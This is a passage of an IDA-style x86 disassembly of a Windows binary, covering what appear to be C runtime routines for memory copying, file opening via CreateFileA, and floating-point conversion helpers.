		jmp	ds:off_41D508[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D3E4
		std
		rep movsd
		cld
		jmp	ds:off_41D508[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D4BC
		dd offset loc_41D4C4
		dd offset loc_41D4CC
		dd offset loc_41D4D4
		dd offset loc_41D4DC
		dd offset loc_41D4E4
		dd offset loc_41D4EC
off_41D4B8	dd offset loc_41D4FF	; DATA XREF: sub_41D220+1C6r
; ---------------------------------------------------------------------------


loc_41D4BC:				; DATA XREF: sub_41D220+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D4C4:				; DATA XREF: sub_41D220+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D4CC:				; DATA XREF: sub_41D220+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D4D4:				; DATA XREF: sub_41D220+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D4DC:				; DATA XREF: sub_41D220+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D4E4:				; DATA XREF: sub_41D220+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D4EC:				; DATA XREF: sub_41D220+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D4FF:				; CODE XREF: sub_41D220+1C6j
					; DATA XREF: sub_41D220:off_41D4B8o
		jmp	ds:off_41D508[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D508	dd offset loc_41D518	; DATA XREF: sub_41D220+1BBr
					; sub_41D220:loc_41D408r ...
		dd offset loc_41D520
		dd offset loc_41D530
		dd offset loc_41D544
; ---------------------------------------------------------------------------


loc_41D518:				; CODE XREF: sub_41D220+1BBj
					; sub_41D220:loc_41D408j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D520:				; CODE XREF: sub_41D220+1BBj
					; sub_41D220:loc_41D408j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D530:				; CODE XREF: sub_41D220+1BBj
					; sub_41D220:loc_41D408j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D544:				; CODE XREF: sub_41D220+1BBj
					; sub_41D220:loc_41D408j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D55D	proc near		; CODE XREF: sub_41D844+28p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	esi, esi
		test	dl, dl
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], esi
		jns	short loc_41D581
		mov	[ebp+var_14], esi
		mov	[ebp+var_1], 10h
		jmp	short loc_41D58C
; ---------------------------------------------------------------------------


loc_41D581:				; CODE XREF: sub_41D55D+19j
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41D58C:				; CODE XREF: sub_41D55D+22j
		mov	eax, 8000h
		test	edx, eax
		jnz	short loc_41D5A6
		test	dh, 40h
		jnz	short loc_41D5A2
		cmp	dword_47C5E0, eax
		jz	short loc_41D5A6


loc_41D5A2:				; CODE XREF: sub_41D55D+3Bj
		or	[ebp+var_1], 80h


loc_41D5A6:				; CODE XREF: sub_41D55D+36j
					; sub_41D55D+43j
		push	3
		mov	eax, edx
		pop	ebx
		and	eax, ebx
		sub	eax, esi
		jz	short loc_41D5C9
		dec	eax
		jz	short loc_41D5C0
		dec	eax
		jnz	short loc_41D5E4
		mov	[ebp+var_10], 0C0000000h
		jmp	short loc_41D5D0
; ---------------------------------------------------------------------------


loc_41D5C0:				; CODE XREF: sub_41D55D+55j
		mov	[ebp+var_10], 40000000h
		jmp	short loc_41D5D0
; ---------------------------------------------------------------------------


loc_41D5C9:				; CODE XREF: sub_41D55D+52j
		mov	[ebp+var_10], 80000000h


loc_41D5D0:				; CODE XREF: sub_41D55D+61j
					; sub_41D55D+6Aj
		cmp	ecx, 10h
		jz	short loc_41D615
		cmp	ecx, 20h
		jz	short loc_41D60C
		cmp	ecx, 30h
		jz	short loc_41D603
		cmp	ecx, 40h
		jz	short loc_41D5FE


loc_41D5E4:				; CODE XREF: sub_41D55D+58j
		call	sub_419600
		mov	dword ptr [eax], 16h
		call	sub_419609
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		jmp	loc_41D7F5
; ---------------------------------------------------------------------------


loc_41D5FE:				; CODE XREF: sub_41D55D+85j
		mov	[ebp+var_8], ebx
		jmp	short loc_41D618
; ---------------------------------------------------------------------------


loc_41D603:				; CODE XREF: sub_41D55D+80j
		mov	[ebp+var_8], 2
		jmp	short loc_41D618
; ---------------------------------------------------------------------------


loc_41D60C:				; CODE XREF: sub_41D55D+7Bj
		mov	[ebp+var_8], 1
		jmp	short loc_41D618
; ---------------------------------------------------------------------------


loc_41D615:				; CODE XREF: sub_41D55D+76j
		mov	[ebp+var_8], esi


loc_41D618:				; CODE XREF: sub_41D55D+A4j
					; sub_41D55D+ADj ...
		mov	eax, edx
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		push	edi
		mov	edi, 100h
		jg	short loc_41D65F
		jz	short loc_41D65A
		cmp	eax, esi
		jz	short loc_41D65A
		cmp	eax, edi
		jz	short loc_41D651
		cmp	eax, 200h
		jz	short loc_41D68B
		cmp	eax, 300h
		jnz	short loc_41D671
		mov	[ebp+var_C], 2
		jmp	short loc_41D69B
; ---------------------------------------------------------------------------


loc_41D651:				; CODE XREF: sub_41D55D+DBj
		mov	[ebp+var_C], 4
		jmp	short loc_41D69B
; ---------------------------------------------------------------------------


loc_41D65A:				; CODE XREF: sub_41D55D+D3j
					; sub_41D55D+D7j
		mov	[ebp+var_C], ebx
		jmp	short loc_41D69B
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D55D+D1j
		cmp	eax, 500h
		jz	short loc_41D694
		cmp	eax, 600h
		jz	short loc_41D68B
		cmp	eax, edx
		jz	short loc_41D694


loc_41D671:				; CODE XREF: sub_41D55D+E9j
		call	sub_419600
		mov	dword ptr [eax], 16h
		call	sub_419609
		mov	[eax], esi


loc_41D683:				; CODE XREF: sub_41D55D+2E2j
		or	eax, 0FFFFFFFFh
		jmp	loc_41D7F4
; ---------------------------------------------------------------------------


loc_41D68B:				; CODE XREF: sub_41D55D+E2j
					; sub_41D55D+10Ej
		mov	[ebp+var_C], 5
		jmp	short loc_41D69B
; ---------------------------------------------------------------------------


loc_41D694:				; CODE XREF: sub_41D55D+107j
					; sub_41D55D+112j
		mov	[ebp+var_C], 1


loc_41D69B:				; CODE XREF: sub_41D55D+F2j
					; sub_41D55D+FBj ...
		mov	eax, [ebp+arg_C]
		test	eax, edi
		mov	esi, 80h
		jz	short loc_41D6B9
		mov	ecx, dword_47C1A0
		not	ecx
		and	ecx, [ebp+arg_10]
		test	cl, cl
		js	short loc_41D6B9
		xor	esi, esi
		inc	esi


loc_41D6B9:				; CODE XREF: sub_41D55D+148j
					; sub_41D55D+157j
		test	al, 40h
		jz	short loc_41D6D4
		or	byte ptr [ebp+var_10+2], 1
		or	esi, 4000000h
		cmp	dword_47C1A4, 2
		jnz	short loc_41D6D4
		or	[ebp+var_8], 4


loc_41D6D4:				; CODE XREF: sub_41D55D+15Ej
					; sub_41D55D+171j
		test	ah, 10h
		jz	short loc_41D6DB
		or	esi, edi


loc_41D6DB:				; CODE XREF: sub_41D55D+17Aj
		test	al, 20h
		jz	short loc_41D6E7
		or	esi, 8000000h
		jmp	short loc_41D6F1
; ---------------------------------------------------------------------------


loc_41D6E7:				; CODE XREF: sub_41D55D+180j
		test	al, 10h
		jz	short loc_41D6F1
		or	esi, 10000000h


loc_41D6F1:				; CODE XREF: sub_41D55D+188j
					; sub_41D55D+18Cj
		call	sub_41CDF1
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_41D719
		call	sub_419600
		mov	dword ptr [eax], 18h
		call	sub_419609
		and	dword ptr [eax], 0


loc_41D712:				; CODE XREF: sub_41D55D+208j
		mov	eax, ebx
		jmp	loc_41D7F4
; ---------------------------------------------------------------------------


loc_41D719:				; CODE XREF: sub_41D55D+1A0j
		mov	eax, [ebp+arg_0]
		push	0
		push	esi
		push	[ebp+var_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_10]
		push	[ebp+arg_8]
		call	ds:dword_420044	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41D758
		push	esi
		call	ds:dword_4201D0	; GetFileType
		test	eax, eax
		jnz	short loc_41D767
		push	esi
		call	ds:dword_42003C	; CloseHandle


loc_41D758:				; CODE XREF: sub_41D55D+1E7j
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		call	sub_419612
		pop	ecx
		jmp	short loc_41D712
; ---------------------------------------------------------------------------


loc_41D767:				; CODE XREF: sub_41D55D+1F2j
		cmp	eax, 2
		jnz	short loc_41D772
		or	[ebp+var_1], 40h
		jmp	short loc_41D77B
; ---------------------------------------------------------------------------


loc_41D772:				; CODE XREF: sub_41D55D+20Dj
		cmp	eax, 3
		jnz	short loc_41D77B
		or	[ebp+var_1], 8


loc_41D77B:				; CODE XREF: sub_41D55D+213j
					; sub_41D55D+218j
		push	esi
		push	edi
		call	sub_41CC20
		or	[ebp+var_1], 1
		mov	eax, edi
		sar	eax, 5
		lea	ebx, ds:47C620h[eax*4]
		mov	eax, edi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	esi, 2
		mov	[ebp+var_1], al
		and	[ebp+var_1], 48h
		mov	[esi+ecx+4], al
		jnz	short loc_41D7DD
		test	al, al
		jns	short loc_41D7DD
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41D7DD
		push	2
		push	0FFFFFFFFh
		push	edi
		call	sub_41B348
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D7F9
		call	sub_419609
		cmp	dword ptr [eax], 83h
		jnz	short loc_41D838


loc_41D7DD:				; CODE XREF: sub_41D55D+252j
					; sub_41D55D+256j ...
		cmp	[ebp+var_1], 0
		jnz	short loc_41D7F2
		test	byte ptr [ebp+arg_C], 8
		jz	short loc_41D7F2
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		or	byte ptr [eax],	20h


loc_41D7F2:				; CODE XREF: sub_41D55D+284j
					; sub_41D55D+28Aj
		mov	eax, edi


loc_41D7F4:				; CODE XREF: sub_41D55D+129j
					; sub_41D55D+1B7j
		pop	edi


loc_41D7F5:				; CODE XREF: sub_41D55D+9Cj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D7F9:				; CODE XREF: sub_41D55D+271j
		and	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		push	edi
		call	sub_418EBA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D826
		cmp	[ebp+var_2], 1Ah
		jnz	short loc_41D826
		push	[ebp+var_10]
		push	edi
		call	sub_41E66E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_41D838


loc_41D826:				; CODE XREF: sub_41D55D+2B1j
					; sub_41D55D+2B7j
		push	0
		push	0
		push	edi
		call	sub_41B348
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7DD


loc_41D838:				; CODE XREF: sub_41D55D+27Ej
					; sub_41D55D+2C7j
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	loc_41D683
sub_41D55D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D844	proc near		; CODE XREF: sub_419498+137p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset stru_429AD0
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	sub_41D55D
		add	esp, 14h
		mov	[ebp+var_24], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D889
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41D844	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D889	proc near		; CODE XREF: sub_41D844+37p
					; DATA XREF: .rdata:stru_429AD0o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41D898
		push	dword ptr [ebp-20h]
		call	sub_41CDCF
		pop	ecx

locret_41D898:				; CODE XREF: sub_41D889+4j
		retn
sub_41D889	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D899	proc near		; CODE XREF: sub_41D918+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_41D8C1


loc_41D8B8:				; CODE XREF: sub_41D899+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D8BB:				; CODE XREF: sub_41D899+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41D8B8


loc_41D8C1:				; CODE XREF: sub_41D899+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_41D8BB
		xor	eax, eax
		inc	eax
		retn
sub_41D899	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8CB	proc near		; CODE XREF: sub_41D918+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_41E7A9
		add	esp, 0Ch
		dec	esi
		js	short loc_41D915
		lea	edi, [edi+esi*4]


loc_41D8FC:				; CODE XREF: sub_41D8CB+48j
		test	eax, eax
		jz	short loc_41D915
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E7A9
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D8FC


loc_41D915:				; CODE XREF: sub_41D8CB+2Cj
					; sub_41D8CB+33j
		pop	edi
		pop	esi
		retn
sub_41D8CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D918	proc near		; CODE XREF: sub_41DA39+79p
					; sub_41DA39+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_41D967
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_41D899
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41D964
		push	edi
		push	[ebp+arg_0]
		call	sub_41D8CB
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_41D964:				; CODE XREF: sub_41D918+3Cj
		mov	eax, [ebp+arg_0]


loc_41D967:				; CODE XREF: sub_41D918+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_41D982
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd


loc_41D982:				; CODE XREF: sub_41D918+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D918	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D98A	proc near		; CODE XREF: sub_41DA39+6Dp
					; sub_41DA39+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi


loc_41D998:				; CODE XREF: sub_41D98A+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41D998
		pop	esi
		retn
sub_41D98A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_41DA39+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax


loc_41D9A7:				; CODE XREF: sub_41D9A5+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41D9BB
		inc	eax
		cmp	eax, 3
		jl	short loc_41D9A7
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D9BB:				; CODE XREF: sub_41D9A5+Aj
		xor	eax, eax
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9BE	proc near		; CODE XREF: sub_41DA39+B6p
					; sub_41DA39+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax


loc_41D9EC:				; CODE XREF: sub_41D9BE+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_41D9EC
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]


loc_41DA1C:				; CODE XREF: sub_41D9BE+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_41DA28
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_41DA2C
; ---------------------------------------------------------------------------


loc_41DA28:				; CODE XREF: sub_41D9BE+61j
		and	dword ptr [ebx+eax*4], 0


loc_41DA2C:				; CODE XREF: sub_41D9BE+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_41DA1C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D9BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA39	proc near		; CODE XREF: sub_41DB91+Dp
					; sub_41DBA7+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_41DAA2
		xor	ebx, ebx
		call	sub_41D9A5
		test	eax, eax
		pop	ecx
		jnz	loc_41DB51
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd


loc_41DA9A:				; CODE XREF: sub_41DA39+DAj
		push	2
		pop	eax
		jmp	loc_41DB53
; ---------------------------------------------------------------------------


loc_41DAA2:				; CODE XREF: sub_41DA39+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41D98A
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D918
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DABF
		inc	edi


loc_41DABF:				; CODE XREF: sub_41DA39+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_41DAD5
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_41DB11
; ---------------------------------------------------------------------------


loc_41DAD5:				; CODE XREF: sub_41DA39+90j
		cmp	edi, eax
		jg	short loc_41DB15
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D98A
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_41D9BE
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D918
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9BE
		add	esp, 20h


loc_41DB11:				; CODE XREF: sub_41DA39+9Aj
		xor	ebx, ebx
		jmp	short loc_41DA9A
; ---------------------------------------------------------------------------


loc_41DB15:				; CODE XREF: sub_41DA39+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_41DB3D
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41D9BE
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41DB53
; ---------------------------------------------------------------------------


loc_41DB3D:				; CODE XREF: sub_41DA39+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_41D9BE
		pop	ecx
		pop	ecx


loc_41DB51:				; CODE XREF: sub_41DA39+55j
		xor	eax, eax


loc_41DB53:				; CODE XREF: sub_41DA39+64j
					; sub_41DA39+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_41DB82
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41DB8C
; ---------------------------------------------------------------------------


loc_41DB82:				; CODE XREF: sub_41DA39+13Aj
		cmp	esi, 20h
		jnz	short loc_41DB8C
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_41DB8C:				; CODE XREF: sub_41DA39+147j
					; sub_41DA39+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA39	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB91	proc near		; CODE XREF: sub_41DBBD+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42E210
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DA39
		add	esp, 0Ch
		retn
sub_41DB91	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBA7	proc near		; CODE XREF: sub_41DC00+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42E228
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DA39
		add	esp, 0Ch
		retn
sub_41DBA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBBD	proc near		; CODE XREF: sub_419848+12p

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41E967
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41DB91
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_41A1F6
		leave
		retn
sub_41DBBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC00	proc near		; CODE XREF: sub_419848+2Dp

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41E967
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41DBA7
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_41A1F6
		leave
		retn
sub_41DC00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC43	proc near		; CODE XREF: sub_419951+4Dp
					; sub_419A61+41p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_41DC80
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41DC66:				; CODE XREF: sub_41DC43+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DC72
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DC75
; ---------------------------------------------------------------------------


loc_41DC72:				; CODE XREF: sub_41DC43+27j
		push	30h
		pop	edx


loc_41DC75:				; CODE XREF: sub_41DC43+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DC66
		mov	edx, [ebp+arg_8]


loc_41DC80:				; CODE XREF: sub_41DC43+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DC99
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DC99
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC8E:				; CODE XREF: sub_41DC43+52j
		mov	byte ptr [eax],	30h


